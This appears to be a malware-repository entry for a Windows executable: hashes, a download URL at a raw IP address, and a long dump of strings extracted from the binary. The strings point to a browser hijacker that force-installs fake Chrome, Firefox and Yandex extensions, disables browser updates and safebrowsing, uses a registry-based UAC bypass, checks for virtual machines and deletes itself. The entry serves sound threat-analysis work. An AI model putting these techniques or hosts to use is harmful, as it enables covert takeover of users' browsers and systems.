Warning! We are currently in recovery mode. The complete archive is not available.

Sample details: 51199d370f3c65bc4e9a7d76fabdac0e --

Hashes
MD5: 51199d370f3c65bc4e9a7d76fabdac0e
SHA1: 2a8b0a74aebef44a7c661774d09f2e0b6102d356
SHA256: bcad568907d887affb77facc0e384ab675822f665e7d3a99afae21e049269e4b
SSDEEP: 98304:JmgOfSYfp3mml6iqNkodtagxDgEhnRtiRf:0HflQUo/agxTA
Details
File Type: PE32
Yara Hits
CuckooSandbox/vmdetect |
Source
http://80.85.157.130:4577/vid.exe
http://80.85.157.130:4577/vid.exe
Strings
		!This program cannot be run in DOS mode.
`.rdata
@.data
@.reloc
~,9~$t	
;E$riw
0Sjd[3
N\h\bP
YYh4TN
YYhDTN
D$(SVW
L$4_^[3
;0u)9E
;3u.9]
D$$j@P
D$$j@P
D$ j@P
D$ j@P
tX9;uTj
PWh(QN
PWh0QN
QQSVWj
K P9K$t
u]Vh\SN
G0;C0uE
G<;C<u=VQ
;7u.9}
_(_^[]
u(h mN
th=b'v
PPRWPh
_WPWSh
SSSSPj
uRh|ZN
uFh|kN
FH9^Tt	
Y9^Xt	
FD9^Ht	
Y9^Lt	
PQQSVW
9FTt+9FXt&
+T$(+T$0
~-htcP
~-hxcP
~-htcP
f;5|cP
L$ PWQ
8/u4@;
L$L_^3
Nx+N`+NX
L$()L$$
xV4SVW
KL9KPt'
D$ Qr_
N<9N@t$
V(9V0u
q@;p s
q@;p(s
Ah;A\sg
Ah;A\r
~<+~l+
)^p)^l)^\
Fl+Fp=
f+NdfI
Z$;Z8s
;{Tt2V
;~Ht(j
F0;FDwf
F@+~@+
VP;VL}2
FD;FH|
FP;FL|
FP;FL|
tW97uS
t`97u\
~RIfff
F,u\jB
9E$WWV
t,WW9}
tC97u?j4
tC97u?j4
tI97uEjD
tI97uEjD
tC97u?j
tC97u?j
PSh(QN
PSh0QN
PVh(QN
PVh0QN
M$+E4@Pj
M$+E4@Pj
<:t2<,t.</u2
<:t2<,t.</u2
<:t2<,t.</u2
<:t2<,t.</u2
tI97uEjD
tC97u?j
M$+E4@Pj
AHPQVR
<xt"<Xu!
<xt"<Xu!
SSWVj	
|$8;\$4
s8hk6M
s<hq6M
s@hy6M
EpSVWP
j hD;M
MTF;uhr
s\;sXug
#BD;BDu
#BD;BDu
uWj"h\:M
#J #B$
	B 	J$S
u[jOhp9M
W\;WXt%
W\9WXu	+WTR
QPWV8E
CD$$SP
F(_^][
G4;G8~n
E`;Edt
;\$$tQ
u*;A u
G`;GdtO
G`;Gdt:
A0;Q u
u+8G?u&
w\;wXt(
CD$(9D$ tb;
uQj>h44M
F\;FXt
C`9Chs
													
~\;~XuB
+FTPj	
;~TuRj:h05M
;~TuRj:hl5M
;~TuRj:h
+FTPj	
G\+GTPj
jNh(8M
G\+GTPj
8C t^+
O\;OXtK
~\;~Xu@
V\;VXu
s-j4hX<M
j4hX<M
j4hX<M
>;{Xu'O
S\;SXu'J
;SXu'J
<%t+<5t'J
<%t+<5t'J
C\;CXu6
CX+CTPj
j<hh=M
Ch;C`v
V\;VXt'
V\;VXt'
V\;VXt7
V\;VXt7
V\;VXt7
V\;VXt0
s\+sTV
+GTPj	
+GTPj	
+GTPj	
+GTPj	
G\+GTPj
G\;GXue
w\9wXu@
G\9GXu
W\9WXu
j-h@>M
G\+GTPj
j3hp>M
G\+GTPj
j!hP?M
tSj@h(6M
Bpt	;J
Bpt	;J
Apt	;Q
M0hD;M
u"h\PP
v	N+D$
QQSVWd
t/hhKM
tH9] uC
u PWQR
URPQQh0uH
;t$,v-
UQPXY]Y[
rr	jrZ
rr	jrZ
u9jAXf;
u-jAXf;
PPPPPPPP
F4_^[]
SVWj03
WWWSHSh
WPWWWS
:u%f9Y
tDh4`M
t7h@`M
t&hL`M
t#Vh<bM
v!j"X_^[
7ARPRQh
< t3<	t/
pLhTYP
@s1PVj@W
>Cu2f9V
xE;5PYP
xE;5PYP
u!hXYP
Wj0XPV
SPjdVQ
QQSWj0j@
xi;5PYP
xg;5PYP
D8(Ht'
PPPPPWS
PP9E u<PPVWP
<at1<rt!<wt
<=upG8
u kE$<
u-PSSW
SSVWh 
f9:t!V
u	!FX@
u^9^\t/
NX9^`tT
;V\u\W
tjh$mM
j	PjYV
u2Vj@h
9C`u99C\t4
u29K\t-
rr	jrZ
rr	jrZ
PPPPPPPP
v	N+D$
Wj4XPV
A(;A,v
O,9O(vV
+A Vj$
+AHVj(
FT9~Xt0
@(;A(s
+A$tU3
G(9_Lu8
;Q u	;A
oSPPWh
FYY;w(|
FY;w(|
9V(~?j
V<;V8}	
YYF;w,|
G@WVPR
t h@{K
Q;FD~Z
4Q;FD~Z
C8;sx|
tWVWj>
9V(~?j
V<;V8}	
1Qh`-K
tB;wPt
a;w0tV
:;w0tBj
);{0t3
FP;FL~
Q;FD~R
t]VWj>
}:;2|6
9pdt>V
Sk{$4kK(4
kW$4k_(4
BHkW($
Q;FD~R
t]VWj>
FY;w(|
9V(~?j
V<;V8}	
O`j@SV
FY;w(|
Q;FD~R
FYY;w(|
9V(~>j
V<;V8}	
9V(~Bj
V<;V8}	
Q;FD~R
1Qh`-K
C,H_^u
tO9xp~J
u28C`t
bad allocation
bad function call
unknown error
address family not supported
address in use
address not available
already connected
argument list too long
argument out of domain
bad address
bad file descriptor
bad message
broken pipe
connection aborted
connection already in progress
connection refused
connection reset
cross device link
destination address required
device or resource busy
directory not empty
executable format error
file exists
file too large
filename too long
function not supported
host unreachable
identifier removed
illegal byte sequence
inappropriate io control operation
interrupted
invalid argument
invalid seek
io error
is a directory
message size
network down
network reset
network unreachable
no buffer space
no child process
no link
no lock available
no message available
no message
no protocol option
no space on device
no stream resources
no such device or address
no such device
no such file or directory
no such process
not a directory
not a socket
not a stream
not connected
not enough memory
not supported
operation canceled
operation in progress
operation not permitted
operation not supported
operation would block
owner dead
permission denied
protocol error
protocol not supported
read only file system
resource deadlock would occur
resource unavailable try again
result out of range
state not recoverable
stream timeout
text file busy
timed out
too many files open in system
too many files open
too many links
too many symbolic link levels
value too large
wrong protocol type
0123456789-+Ee
0123456789ABCDEFabcdef-+Xx
0123456789ABCDEFabcdef-+XxPp
FlsAlloc
FlsFree
FlsGetValue
FlsSetValue
InitializeCriticalSectionEx
InitOnceExecuteOnce
CreateEventExW
CreateSemaphoreW
CreateSemaphoreExW
CreateThreadpoolTimer
SetThreadpoolTimer
WaitForThreadpoolTimerCallbacks
CloseThreadpoolTimer
CreateThreadpoolWait
SetThreadpoolWait
CloseThreadpoolWait
FlushProcessWriteBuffers
FreeLibraryWhenCallbackReturns
GetCurrentProcessorNumber
CreateSymbolicLinkW
GetCurrentPackageId
GetTickCount64
GetFileInformationByHandleEx
SetFileInformationByHandle
GetSystemTimePreciseAsFileTime
InitializeConditionVariable
WakeConditionVariable
WakeAllConditionVariable
SleepConditionVariableCS
InitializeSRWLock
AcquireSRWLockExclusive
TryAcquireSRWLockExclusive
ReleaseSRWLockExclusive
SleepConditionVariableSRW
CreateThreadpoolWork
SubmitThreadpoolWork
CloseThreadpoolWork
CompareStringEx
GetLocaleInfoEx
LCMapStringEx
:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday
:Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:December
%b %d %H : %M : %S %Y
%m / %d / %y
:AM:am:PM:pm
%I : %M : %S %p
%H : %M
%H : %M : %S
%d / %m / %y
0123456789-
0123456789-
0123456789-
0123456789-+Ee
0123456789ABCDEFabcdef-+Xx
0123456789-
0123456789-+Ee
0123456789ABCDEFabcdef-+Xx
0123456789ABCDEFabcdef-+XxPp
0123456789ABCDEFabcdef-+XxPp
+v$x+v$xv$+xv+$xv$+x+$vx+$vx$v+x+$vx$+vx+v $+v $v $+v +$v $++$ v+$ v$ v++$ v$+ v+xv$+ v$v$ +v+ $v$ ++x$v+ $v$v ++ $v$ +v
raB3G`
0123456789-
0123456789-
0123456789abcdefghijklmnopqrstuvwxyz
0123456789abcdefghijklmnopqrstuvwxyz
(?>\x0D\x0A?|[\x0A\x0B\x0C\x85])
vector<T> too long
invalid vector<T> subscript
Invalid regular expression object
An invalid combination of regular expression syntax flags was used.
Found a closing ) with no corresponding openening parenthesis.
  The error occurred while parsing the regular expression fragment: '
  The error occurred while parsing the regular expression: '
>>>HERE>>>
Exceeded nested brace limit.
The repeat operator "*" cannot start a regular expression.
The repeat operator "?" cannot start a regular expression.
The repeat operator "+" cannot start a regular expression.
Found a closing repetition operator } with no corresponding {.
Can't terminate a sub-expression with an alternation operator |.
Error in thread safety code: could not acquire a lock
The \c and \C escape sequences are not supported by POSIX basic regular expressions: try the Perl syntax instead.
Incomplete \g escape found.
Incomplete escape sequence found.
Incomplete property escape found.
Closing } missing from property escape sequence.
Escape sequence was neither a valid property nor a valid character class name.
Nothing to repeat.
Missing } in quantified repetition.
A regular expression cannot start with the alternation operator |.
Character set declaration starting with [ terminated prematurely - either no ] was found or the set had no content.
Encountered a forward reference to a marked sub-expression that does not exist.
Encountered a forward reference to a recursive sub-expression that does not exist.
Invalid lookbehind assertion encountered in the regular expression.
Encountered an infinite recursion.
list<T> too long
Unable to open message catalog: 
Character class declaration starting with [ terminated prematurely - either no ] was found or the set had no content.
Unterminated \Q...\E sequence.
The recursive sub-expression refers to an invalid marking group, or is unterminated.
An invalid or unterminated recursive sub-expression.
Unterminated named capture.
DEFINE
Invalid alternation operators within (?...) block.
Invalid or empty zero width assertion.
More than one alternation operator | was encountered inside a conditional expression.
Alternation operators are not allowed inside a DEFINE block.
A repetition operator cannot be applied to a zero-width assertion.
Escape sequence terminated prematurely.
ASCII escape sequence terminated prematurely.
Hexadecimal escape sequence terminated prematurely.
Missing } in hexadecimal escape sequence.
Hexadecimal escape sequence was invalid.
Escape sequence did not encode a valid character.
Invalid octal escape sequence.
Octal escape sequence is invalid.
alnumalphablankcntrldigitgraphlowerprintpunctspaceunicodeuppervwordxdigit
map/set<T> too long
Usage Error: Can't mix regular expression captures with POSIX matching rules
exclamation-mark
quotation-mark
number-sign
dollar-sign
percent-sign
ampersand
apostrophe
left-parenthesis
right-parenthesis
asterisk
plus-sign
hyphen
period
semicolon
less-than-sign
equals-sign
greater-than-sign
question-mark
commercial-at
left-square-bracket
backslash
right-square-bracket
circumflex
underscore
grave-accent
left-curly-bracket
vertical-line
right-curly-bracket
backspace
newline
vertical-tab
form-feed
carriage-return
0123456789
Success
No match
Invalid regular expression.
Invalid collation character.
Invalid character class name, collating name, or character range.
Invalid or unterminated escape sequence.
Invalid back reference: specified capturing group does not exist.
Unmatched [ or [^ in character class declaration.
Unmatched marking parenthesis ( or \(.
Unmatched quantified repeat operator { or \{.
Invalid content of repeat range.
Invalid range end in character class
Out of memory.
Invalid preceding regular expression prior to repetition operator.
Premature end of regular expression
Regular expression is too large.
Unmatched ) or \)
Empty regular expression.
The complexity of matching the regular expression exceeded predefined bounds.  Try refactoring the regular expression to make each choice made by the state machine unambiguous.  This exception is thrown to prevent "eternal" matches that take an indefinite period time to locate.
Ran out of stack space trying to match the regular expression.
Invalid or unterminated Perl (?...) sequence.
Unknown error.
bad array new length
bad exception
__based(
__cdecl
__pascal
__stdcall
__thiscall
__fastcall
__vectorcall
__clrcall
__eabi
__swift_1
__swift_2
__ptr64
__restrict
__unaligned
restrict(
 delete
operator
`vftable'
`vbtable'
`vcall'
`typeof'
`local static guard'
`string'
`vbase destructor'
`vector deleting destructor'
`default constructor closure'
`scalar deleting destructor'
`vector constructor iterator'
`vector destructor iterator'
`vector vbase constructor iterator'
`virtual displacement map'
`eh vector constructor iterator'
`eh vector destructor iterator'
`eh vector vbase constructor iterator'
`copy constructor closure'
`udt returning'
`local vftable'
`local vftable constructor closure'
 new[]
 delete[]
`omni callsig'
`placement delete closure'
`placement delete[] closure'
`managed vector constructor iterator'
`managed vector destructor iterator'
`eh vector copy constructor iterator'
`eh vector vbase copy constructor iterator'
`dynamic initializer for '
`dynamic atexit destructor for '
`vector copy constructor iterator'
`vector vbase copy constructor iterator'
`managed vector copy constructor iterator'
`local static thread guard'
operator "" 
operator co_await
 Type Descriptor'
 Base Class Descriptor at (
 Base Class Array'
 Class Hierarchy Descriptor'
 Complete Object Locator'
[aOni*{
~ $s%r
@b;zO]
v2!L.2
IND)ind)
`h````
xpxxxx
`h`hhh
xwpwpp
(null)
Visual C++ CRT: Not enough memory to complete call to strerror.
CorExitProcess
 !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
Sunday
Monday
Tuesday
Wednesday
Thursday
Friday
Saturday
January
February
August
September
October
November
December
MM/dd/yy
dddd, MMMM dd, yyyy
HH:mm:ss
NAN(SNAN)
nan(snan)
NAN(IND)
nan(ind)
AreFileApisANSI
CompareStringEx
EnumSystemLocalesEx
FlsAlloc
FlsFree
FlsGetValue
FlsSetValue
GetDateFormatEx
GetLocaleInfoEx
GetSystemTimePreciseAsFileTime
GetTimeFormatEx
GetUserDefaultLocaleName
InitializeCriticalSectionEx
IsValidLocaleName
LCMapStringEx
LCIDToLocaleName
LocaleNameToLCID
RoInitialize
RoUninitialize
AppPolicyGetProcessTerminationMethod
AppPolicyGetThreadInitializationType
_hypot
_nextafter
No error
Operation not permitted
No such file or directory
No such process
Interrupted function call
Input/output error
No such device or address
Arg list too long
Exec format error
Bad file descriptor
No child processes
Resource temporarily unavailable
Not enough space
Permission denied
Bad address
Unknown error
Resource device
File exists
Improper link
No such device
Not a directory
Is a directory
Invalid argument
Too many open files in system
Too many open files
Inappropriate I/O control operation
File too large
No space left on device
Invalid seek
Read-only file system
Too many links
Broken pipe
Domain error
Result too large
Resource deadlock avoided
Filename too long
No locks available
Function not implemented
Directory not empty
Illegal byte sequence
UTF-16LEUNICODE
1#QNAN
1#SNAN
]vQ<)8
|)P!?Ua0
Eb2]A=
u?^p?o4
y1~?|"
?|I7Z#
>,'1D=
?g)([|X>=
:h"?bC
@H#?43
Ax#?uN}*
r7Yr7=
F0$?3=1
H`$?h|
&?~YK|
sU0&?W
<8bunz8
?#%X.y
F||<##
<@En[vP
?5Wg4p
"B <1=
pEvents
Lock already taken
SetThreadGroupAffinity
GetThreadGroupAffinity
GetCurrentProcessorNumberEx
GetLogicalProcessorInformationEx
pScheduler
version
eventObject
ppVirtualProcessorRoots
SchedulerKind
MaxConcurrency
MinConcurrency
TargetOversubscriptionFactor
LocalContextCacheSize
ContextStackSize
ContextPriority
SchedulingProtocol
DynamicProgressFeedback
WinRTInitialization
MaxPolicyElementKey
Mbp?333333
pContext
pExecutionResource
RoInitialize
RoUninitialize
RegisterTraceGuidsW
UnregisterTraceGuids
TraceEvent
GetTraceLoggerHandle
GetTraceEnableLevel
GetTraceEnableFlags
pThreadProxy
switchState
Access violation - no RTTI data!
Bad dynamic_cast!
<8bunz8
l,kg<i
<@En[vP
sion\Pe
ndows\Cu
ware\Mic
fsadfsadfsdf.exe
vector<T> too long
invalid string position
string too long
Qkkbal
[-&LMb#{'
w+OQvr
)\ZEo^m/
H*0"ZOW
l!;b	F
mj>zjZ
IiGM>nw
ewh/?y
OZw3(?
V_:X1:
								
																
Unknown exception
bad cast
bad locale name
generic
iostream
iostream stream error
ios_base::badbit set
ios_base::failbit set
ios_base::eofbit set
invalid stol argument
stol argument out of range
[json.exception.
parse error
parse_error
invalid_iterator
type_error
out_of_range
other_error
jjglak.js
n9ahujjg.js
nbajhsd9f8.js
djk09quj.js
"],"matches":["http://*/*", "https://*/*"],"run_at":"document_end"}
{"all_frames":true, "js":["
storage
unlimitedStorage
cookies
alarms
webRequest
webRequestBlocking
webNavigation
_p_tag
browser
_sspmt
manifest
pkedcjkdefgpdelpbcmbmeomcjbeemfm
nnbdlolhkhi
moecnnnil
njooekp
background
scripts
extensions
settings
scriptable_host
<all_urls>
explicit_host
\Secure Preferences
lbdgafhepcjmlne
ahalcnckfd
fdgiacpdenpmbgme
odijcgafkhpobjln
jkngiaaike
mgpdmkkhjffhfkbpeigghe
bpkefjccimbdaeh
kgpepbilmlnddlicm
ecgcljgbbpecajockf
gficinpgaajpob
jgkjaneckh
ihcpondlcgnnpieffllnnf
ifmgfobflog
coahpcpgfnnaddeelpphp
cpblnbfejfpclcf
ebfhfdmncghemmnbe
ekghongncpepaaecfoki
meffiamonani
jdapgplnfamlnaf
obkhapbfhkfgajooj
odhpdpedimcleimhabnodj
ggfceeengh
gkmobjajnijbbohob
igonmjpffeajdah
acpdenpmbgme
odijcgafkhpobjlnfdgi
kohlipaiodlonpinf
phkdcinmmljblpn
elmfdfkkcecebm
njmbjnbcmjicocnmfj
fjgkjaneckh
ihcpondlcgnnpieffllnn
nlefoobgliljhkii
agcgfaoekimffjno
cpdakpdomdhekagpcngdblbba
fifipfj
nefcacndeoll
hekhdfjankbhklfkjmnm
afbdebcebfbflhgehojpdl
alalpfbbpi
ejkngiaaike
mgpdmkkhjffhfkbpeiggh
ghneoaogefnjn
egfgboclmgbokjeenpn
mbpkefjccimbdaeh
kgpepbilmlnddlic
nghneoaogefnjn
egfgboclmgbokjeenp
dlicmbpkefjccimbdaeh
kgpepbilmlnd
\u003C
extensions.settings.
disable_reasons
protection
extension_can_script_all_urls
active_permissions
granted_permissions
running
browser_action_visible
incognito
blacklisted
blacklist
blacklist_state
computed hash: 
extension
\Preferences
contents
content_scripts
firebase-app.js
firebase-firestore.js
firebase-messaging.js
persistent
permissions
content_security_policy
script-src 'self' https://www.gstatic.com/ https://accounts.google.com https://*.firebaseio.com https://www.googleapis.com; object-src 'self'
iqueID
ersFiltered
bannedDomains
var settings = 
\Extensions\
-app.js
store.js
aging.js
aging-sw.js
bpkdaibdccddilifddb
cfhdojbkjhnkl
iobklfepjocnamgkkbiglidom
gighmmp
pljpcfbdipofn
bieimkcgkepinadnphj
fliogedbnpnanfjnolk
mchjnmdbdlkdb
lbbmalcneegieacbdmki
gomekmidlodg
eilgjefnoofefp
ffjgpapimgnmibnacm
omffaphmnbcogleagmloijbkd
pnhflmg
nodcijcmbonb
beagmfh
aleggpabliehg
pffhgifgfppmcddhdaakbkkhkdk
kcggiholmckbfccdgaeke
dppfpeoljbe
chkloafkggfoijh
glcimepnljoholdmj
fflldkndippdlgfdmhabnehod
idkekla
ifkigmgbjj
lkecaian
dbomnmbol
cnpeghmjdfdmneiljeibjnemfdk
ijlacgncafpegll
caljgklbbfbcjjana
dekjklbdgfkk
flliilndjeohchalpbbc
gchgjfajgp
ipmkfpcnmccejididiaagp
t_settings
conten
except
notifica
tent_sett
ome-ext
last_modified
13183453658905122
setting
ogle.co
sion go
st-ses
ore-la
--rest
process_id
cannot use key() for non-object iterators
cannot get value
cannot use push_back() with 
cannot use erase() with 
cannot use operator[] with 
cannot create object from initializer list
961c151d2e87f2686a955a9be24d316f1362bf21 3.1.2
cannot compare iterators of different containers
<discarded>
object
string
boolean
discarded
number
excessive array size: 
excessive object size: 
\u%04x
\u%04x\u%04x
invalid UTF-8 byte at index 
incomplete UTF-8 string; last byte: 0x
syntax error - 
; last read: '
unexpected 
; expected 
number overflow parsing '
invalid BOM; must be 0xEF 0xBB 0xBF if given
invalid literal
<uninitialized>
true literal
false literal
null literal
string literal
number literal
<parse error>
end of input
'[', '{', or a literal
unknown token
invalid number; expected digit after '-'
invalid number; expected digit after '.'
invalid number; expected '+', '-', or digit after exponent
invalid number; expected digit after exponent sign
invalid string: missing closing quote
invalid string: '\u' must be followed by 4 hex digits
invalid string: surrogate U+DC00..U+DFFF must be followed by U+DC00..U+DFFF
invalid string: surrogate U+DC00..U+DFFF must follow U+D800..U+DBFF
invalid string: forbidden character after backslash
invalid string: control character must be escaped
invalid string: ill-formed UTF-8 byte
vector<bool> too long
iterator does not fit current value
iterator out of range
map/set<T> too long
type must be string, but is 
type must be number, but is 
\chrome
yandex
\browser
firefox
dll path
family
not found
exception
tmpDllPath
old md5
new md5
0123456789abcdef
Attempt to access an uninitialzed boost::match_results<> class.
invalid stoll argument
stoll argument out of range
ChromeSeedForRandomSymbols################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
me.exe
chrome
(u.).{2,4}
.t.H....
.......
..{0,2}t..
.......
..{0,2}(t.)
.t.H....
.(t.).?
\resources.pak
ths\chro
ntVersi
ows\Curre
oft\Wind
ARE\Micros
programfiles(x86)
programfiles
homedrive
\Program Files (x86)
\Program Files
rome\Applic
ogle\Ch
assuming
userSid
LOCALAPPDATA
ata\Defa
gle\Chro
not exist
\..\..
\..\..\..
ociations\http\UserChoice
ations\UrlAss
ows\Shell\As
soft\Wind
tware\Micro
exited_cleanly
exit_type
Normal
egefklfmaeogcfhelnamdhgknndnpeim
": {"installation_mode":"force_installed", "update_url":"http://androidsoftx.ru/manifest/{{version}}/{{unique_id}}/{{tag}}/{{distributor_id}}/update.xml"}}
oogle\Upda
tware\G
dToDomain
IsEnrolle
gle\Upda
olicies\Goo
ware\P
PeriodMinute
eCheck
ecksCheck
utoUpd
sableA
efault
pdateDefa
tps\UserCh
ciations\UrlAssociations\ht
dows\Shell\Asso
rosoft\Win
Software\Mic
profile
ferences
{4cc880a2-4d4b-48e3-96e2-353e3f5996e7}
      ],
      "matches": [
        "<all_urls>"
     ],		"all_frames": true 
      "run_at": "document_end"
  "description": "Mozilla Official extension",
  "manifest_version": 2,
  "name": "Mozilla Official",
  "permissions": [
    "cookies",
    "storage",
    "cookies",
    "alarms",
    "tabs",
    "webRequest",
    "webRequestBlocking",
    "webNavigation",
    "<all_urls>"
  "short_name": "Mozilla Official extension",
   "version": "3.0"
      ],
      "matches": [
        "<all_urls>"
     ],		"all_frames": true 
      "run_at": "document_end"
      "js": [
        "
  "content_scripts": [
      "js": [
        "
  "background": {
    "scripts": [
"firebase-app.js","firebase-firestore.js","firebase-messaging.js","
"browser_specific_settings":{"gecko":{"id":"
","syncGUID":"{13186dc4-4bc2-4c1a-8b4d-ba736d35fdd6}","location":"app-profile","version":"3.0","type":"webextension","optionsURL":null,"optionsType":null,"optionsBrowserStyle":true,"aboutURL":null,"defaultLocale":{"name":"Mozilla Official extension","description":"Mozilla Official extension","creator":null,"developers":null,"translators":null,"contributors":null},"visible":true,"active":true,"userDisabled":false,"appDisabled":false,"installDate":1534675884081,"updateDate":1534675884081,"applyBackgroundUpdates":0,"bootstrap":false,"path":"{{path}}","skinnable":false,"size":70744,"sourceURI":null,"releaseNotesURI":null,"softDisabled":false,"foreignInstall":false,"strictCompatibility":true,"locales":[],"targetApplications":[{"id":"toolkit@mozilla.org"}],"targetPlatforms":[],"signedState":2,"seen":true,"dependencies":[],"hasEmbeddedWebExtension":false,"userPermissions":{"permissions":["tabs","contextMenus","webRequest","webRequestBlocking","webNavigation","storage","unlimitedStorage","notifications","cookies","alarms"],"origins":["http://*/*","https://*/*","file:///*"]},"icons":{"48":"icons/icon_smile_48.png","96":"icons/icon_smile_96.png"},"iconURL":null,"icon64URL":null,"blocklistState":0,"blocklistURL":null,"startupData":null}
{"id":"
FirfoxSeedForRandomSymbols################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
firefox.exe
hs\fire
\App Pat
ersion
CurrentV
ndows\
ARE\Micro
aths\firef
rsion\
CurrentVe
RE\Mic
SOFTWA
\Mozilla Firefox
APPDATA
\Mozilla\Firefox\Profiles
\application.ini
Version=
\prefs.js
user_pref("app.update.auto", false);
user_pref("app.update.enabled", false);
user_pref("app.update.service.enabled", false);
est.js
\firebase-app.js
\firebase-firestore.js
\firebase-messaging.js
\firebase-messaging-sw.js
\omni.ja
ules/ad
\extensions.json
\startupCache\
\Mozilla\Firefox\Profiles\
addons
\extensions\
\extensions
kernel32.dll
OpenProcess
net.dll
rnetOp
rnetConn
HttpQueryInfoA
loseHa
ernetC
enRequ
InternetReadFile
InternetSetOptionA
, flags: 
, platform: 
 build: 
Windows 
Content-type: application/json
X-Data: 
application/json
HTTP/1.1
https://
jd1982dkjh
payload
HARDWARE\DESCRIPTION\System\Bios
SystemProductName
vmware
virtual
parallels
Global\esnm
/S /C choice /C Y /N /D Y /T 3
cmd.exe
\SmartData
" /start
type must be boolean, but is 
event_id
llers/l
/insta
message
stack_trace
/i/report
: (char) 
: (int) 
: (json) 
: (ssttdd) 
Default exception
CheckProcesses
process
exception on 
Global\epp
Global\blablabla
CreateSemaphoreA
user32.dll
lateMe
{FA1B727D-3970-4561-8AC6-AC8AA7DBA639}
rsion\Unins
rrentVe
ows\Cu
RE\Micro
DisplayIcon
ApplicationVersion
DisplayVersion
2018-11-12
InstallDate
 --uninstall
UninstallString
NoModify
NoRepair
performer.exe
\" /work
i32.dll
Smart Monitoring
system
er32.d
MessageBoxA
oceed?
sh to pr
e you wi
e you sur
me unstable. Ar
 may beco
ogle Chrome
ation, Go
lete this applic
if you de
Warning
/install
/start
--uninstall
/uninstall
 & Del "
ltipleObj
ntdll.dll
RtlWow64EnableFsRedirectionEx
\Comet.{20D04FE0-3AEA-1069-A2D8-08002B30309D}
Environment
ProgramData
\Microsoft
\Windows
\Start Menu
\Programs
\Administrative Tools
Comet method
\Computer Management.lnk
Manage
Software\Classes\ms-settings
Software\Classes\ms-settings\shell
Software\Classes\ms-settings\shell\open
Software\Classes\ms-settings\shell\open\command
DelegateExecute
WINDIR
\system32\computerdefaults.exe
test_test
\mmm\system32\cmdLineOverride
--did=11 --tag=chrome
xetplanet.xyz
username
SeTcbPrivilege
winsta0\default
calc.exe
/ModularInstaller.exe
" /stop & copy /Y "
bad conversion
:Zone.Identifier
acgimceffoceigocablmjdpebeodphgc
{"active_permissions":{"api":[],"explicit_host":["<all_urls>"],"manifest_permissions":[]},"commands":{},"content_settings":[],"creation_flags":9,"events":[],"extension_can_script_all_urls":true,"from_bookmark":false,"from_webstore":true,"granted_permissions":{"api":[],"explicit_host":["<all_urls>"],"manifest_permissions":[]},"incognito_content_settings":[],"incognito_preferences":{},"initial_keybindings_set":true,"install_time":"13171090562787466","location":1,"manifest":{"key":"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCbQ9CqoOMVwM4JY9rXYIrqDLpAgLteiulvvwdrXPXeWNzDp6VXjeXo3fume4Nk9GP+kqfionbAX8a7X0KhbIx+kbFvyZmS4FYK80D4U3SAY0QK9OUn1ZEdGexfEsKPp8yHDAE/i1kcVYB1F/X/qjiYt5WX8kf0d0Cxqh1EF1KjPQIDAQAB","manifest_version":2,"name":"Yandex Protect","permissions":["<all_urls>"],"update_url":"https://clients2.google.com/service/update2/crx","version":"6.1.6"},"needs_sync":true,"never_activated_since_loaded":true,"path":"acgimceffoceigocablmjdpebeodphgc\\6.1.6_0","preferences":{},"regular_only_preferences":{},"state":1,"was_installed_by_default":false,"was_installed_by_oem":false}
\6.1.6_0
YandexSeedForRandomSymbols################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
)....j
....(u)...
....j.W
.h....
.....t.
(A)9X.t
wser.exe
hs\bro
sion\Ap
\Yandex\YandexBrowser\Application
\Yandex\YandexBrowser\User Data\Default
\Extensions
\manifest.json
safebrowsing
enabled
safebrowsing.enabled
tp\UserC
iations\ht
rlAssoc
iations\U
ell\Assoc
ndows\Sh
osoft\Wi
ware\Micr
Progid
ChromeHTML
YandexHTML
Software\Yandex\YandexBrowser\FileAssociations
ions\htt
rlAssociat
dows\Sh
oft\Win
ware\M
\..\Safe Browsing Extension Blacklist
bad_ad
adblock
antishock_manual_set
antishock_mode
Software\Policies\YandexBrowser
UpdateAllowed
om-nom-nom
cannot open zip file
cannot save zip file
unknown compression method
incorrect header check
unknown header flags set
invalid window size
invalid block type
header crc mismatch
too many length or distance symbols
invalid stored block lengths
invalid bit length repeat
invalid code lengths set
invalid literal/lengths set
invalid code -- missing end-of-block
invalid literal/length code
invalid distances set
invalid distance too far back
invalid distance code
incorrect length check
incorrect data check
stream end
need dictionary
stream error
file error
insufficient memory
data error
incompatible version
buffer error
0123456789ABCDEF
.text$di
.text$mn
.text$x
.text$yd
.idata$5
.00cfg
.CRT$XCA
.CRT$XCAA
.CRT$XCC
.CRT$XCL
.CRT$XCU
.CRT$XCZ
.CRT$XIA
.CRT$XIAA
.CRT$XIAC
.CRT$XIC
.CRT$XIZ
.CRT$XLA
.CRT$XLZ
.CRT$XPA
.CRT$XPB
.CRT$XPX
.CRT$XPXA
.CRT$XPZ
.CRT$XTA
.CRT$XTZ
.gfids
.rdata
.rdata$T
.rdata$r
.rdata$sxdata
.rdata$zzzdbg
.rtc$IAA
.rtc$IZZ
.rtc$TAA
.rtc$TZZ
.tls$ZZZ
.xdata$x
.idata$2
.idata$3
.idata$4
.idata$6
.data$r
.rsrc$01
.rsrc$02
SizeofResource
MoveFileA
Process32First
TerminateProcess
FindResourceA
GetModuleHandleA
CreateToolhelp32Snapshot
GetFileAttributesA
LockResource
DeleteFileA
Process32Next
CloseHandle
LoadResource
CopyFileA
GetLastError
FindFirstFileA
FindNextFileA
FindClose
GetProcAddress
CreateDirectoryA
LoadLibraryA
GetCurrentProcessId
SetEvent
CreateEventA
MultiByteToWideChar
WideCharToMultiByte
CreateMutexA
